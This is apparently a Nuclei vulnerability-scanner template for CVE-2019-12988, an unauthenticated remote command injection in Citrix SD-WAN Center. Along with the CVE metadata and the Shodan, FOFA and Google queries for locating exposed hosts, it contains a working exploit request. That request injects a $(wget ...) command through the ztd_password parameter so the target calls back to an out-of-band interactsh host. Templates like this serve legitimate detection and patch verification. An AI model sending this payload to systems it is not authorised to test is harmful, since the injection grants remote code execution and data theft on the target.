id: CVE-2019-12988

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password,  thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
  remediation: |
    Apply the latest security patches provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12988
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12988
    cwe-id: CWE-78
    epss-score: 0.42551
    epss-percentile: 0.98532
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,rce,unauth,oast,tenable,citrix,vkev,vuln

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |+
        GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a0047304502202c0d9530ccf6852ab7a6b29ba09a643e711913f38d1a0f5ac22e8e53a95c3012022100ac537e2fd58914fbda119da31bcafdb9dede36a74d762a1b14e707c488b1d7a1:922c64590222798bb761d5b6d8e72950